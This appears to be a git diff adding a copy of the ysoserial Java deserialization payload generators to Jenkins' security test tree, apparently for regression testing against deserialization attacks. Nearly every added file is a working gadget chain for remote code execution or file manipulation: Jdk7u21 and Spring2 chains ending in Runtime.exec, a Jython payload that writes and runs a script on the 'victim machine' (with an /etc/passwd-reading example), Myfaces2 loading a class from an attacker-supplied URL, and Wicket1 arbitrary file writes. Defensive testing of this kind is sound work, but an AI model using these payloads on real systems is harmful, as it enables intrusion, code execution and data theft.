simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JavassistWeld1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java new file mode 100755 index 0000000000..d9255750f0 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java @@ -0,0 +1,93 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; + +import javax.xml.transform.Templates; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/* + +Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has +the same JRE version requirements. + +See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + +Call tree: + +LinkedHashSet.readObject() + LinkedHashSet.add() + ... + TemplatesImpl.hashCode() (X) + LinkedHashSet.add() + ... + Proxy(Templates).hashCode() (X) + AnnotationInvocationHandler.invoke() (X) + AnnotationInvocationHandler.hashCodeImpl() (X) + String.hashCode() (0) + AnnotationInvocationHandler.memberValueHashCode() (X) + TemplatesImpl.hashCode() (X) + Proxy(Templates).equals() + AnnotationInvocationHandler.invoke() + AnnotationInvocationHandler.equalsImpl() + Method.invoke() + ... + TemplatesImpl.getOutputProperties() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + ClassLoader.defineClass() + Class.newInstance() + ... + MaliciousClass.() + ... + Runtime.exec() + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies() +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class Jdk7u21 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); // swap in real object + + return set; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jdk7u21.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java new file mode 100644 index 0000000000..b014660241 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java @@ -0,0 +1,106 @@ +package jenkins.security.security218.ysoserial.payloads; + +import org.apache.commons.io.FileUtils; +import org.python.core.*; + +import java.math.BigInteger; +import java.io.File; +import java.lang.reflect.Proxy; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +import jenkins.security.security218.ysoserial.payloads.util.Reflections; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + * + * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + * + * ; + * + * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + * + * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + * + * In the above example, if "read_etc_passwd.py" simply contained the string: + * + * raise Exception(open('/etc/passwd', 'r').read()) + * + * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). + */ + +@PayloadTest(skip="non RCE") +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({ "org.python:jython-standalone:2.5.2" }) +public class Jython1 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + + String[] paths = command.split(";"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } + + // Set payload parameters + String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); + + // Python bytecode to write a file on disk and execute it + String code = + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + //21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jython1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java new file mode 100644 index 0000000000..3964adc6e8 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"rhino:js:1.7R2"}) +public class MozillaRhino1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + nativeErrorConstructor.setAccessible(true); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + getSlot.setAccessible(true); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + getter.setAccessible(true); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + memberboxClassConstructor.setAccessible(true); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + valField.setAccessible(true); + valField.set(badAttributeValueExpException, idScriptableObject); + + return badAttributeValueExpException; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(MozillaRhino1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java new file mode 100644 index 0000000000..976c5173d2 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java @@ -0,0 +1,92 @@ +package jenkins.security.security218.ysoserial.payloads; + + + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - an EL expression to execute + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest(skip="Requires running MyFaces, no direct execution") +public class Myfaces1 implements ObjectPayload, DynamicDependencies { + + public Object getObject ( String command ) throws Exception { + return makeExpressionPayload(command); + } + + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java new file mode 100644 index 0000000000..1151493051 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java @@ -0,0 +1,64 @@ +package jenkins.security.security218.ysoserial.payloads; + + + +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + return Myfaces1.getDependencies(); + } + + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for ( int i = 0; i < 100; i++ ) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces2.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java index 22c656b8f6..ac5391fc6f 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java @@ -23,10 +23,98 @@ */ package jenkins.security.security218.ysoserial.payloads; +import java.lang.reflect.Modifier; +import java.util.Iterator; +import java.util.Set; + +import org.reflections.Reflections; + +import jenkins.security.security218.ysoserial.GeneratePayload; + public interface ObjectPayload { - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - public T getObject(String command) throws Exception; + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses () { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { + iterator.remove(); + } + } + return payloadTypes; + } + @SuppressWarnings ( "unchecked" ) + public static Class getPayloadClass ( final String className ) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } + catch ( Exception e1 ) {} + if ( clazz == null ) { + try { + return clazz = (Class) Class + .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); + } + catch ( Exception e2 ) {} + } + if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { + clazz = null; + } + return clazz; + } + + + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload", e); + } + return payloadObject; + } + + + @SuppressWarnings ( "unchecked" ) + public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof ReleaseableObjectPayload ) { + ( (ReleaseableObjectPayload) payload ).release(object); + } + } + + + public static void releasePayload ( String payloadType, Object payloadObject ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(); + } + + } + } } diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java new file mode 100644 index 0000000000..2fe2b9b717 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java @@ -0,0 +1,11 @@ +package jenkins.security.security218.ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release( T obj ) throws Exception; +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java new file mode 100644 index 0000000000..973edd1083 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java @@ -0,0 +1,75 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import static java.lang.Class.forName; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + * + * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies ( { + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +} ) +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class Spring2 extends PayloadRunner implements ObjectPayload { + + public Object getObject ( final String command ) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + return mitp; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Spring2.class, args); + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java new file mode 100644 index 0000000000..38b39c8671 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java @@ -0,0 +1,111 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.upload.DiskFileItem; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + * + * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + * + * + * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + * + * Example: + * Wicket1 "write;/tmp;blue lobster" + * + * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@Dependencies({"wicket-util:wicket-util:6.23"}) +public class Wicket1 implements ReleaseableObjectPayload { + + public DiskFileItem getObject(String command) throws Exception { + + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } + else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeB64".equals(parts[0]) ) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } + else if ("writeOld".equals(parts[0]) ) { + return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeOldB64".equals(parts[0]) ) { + return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + public void release(DiskFileItem obj) throws Exception { + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java new file mode 100644 index 0000000000..7c21b91826 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java @@ -0,0 +1,24 @@ +package jenkins.security.security218.ysoserial.payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + String[] value() default {}; + + public static class Utils { + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java new file mode 100644 index 0000000000..33ab5f4419 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java @@ -0,0 +1,19 @@ +package jenkins.security.security218.ysoserial.payloads.annotation; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author mbechler + * + */ +@Retention(RetentionPolicy.RUNTIME) +public @interface PayloadTest { + + String skip() default ""; + + String precondition() default ""; + + String harness() default ""; + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java new file mode 100644 index 0000000000..20a7417af9 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java @@ -0,0 +1,44 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java new file mode 100644 index 0000000000..0acba99335 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java @@ -0,0 +1,156 @@ +package jenkins.security.security218.ysoserial.payloads.util; + + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import 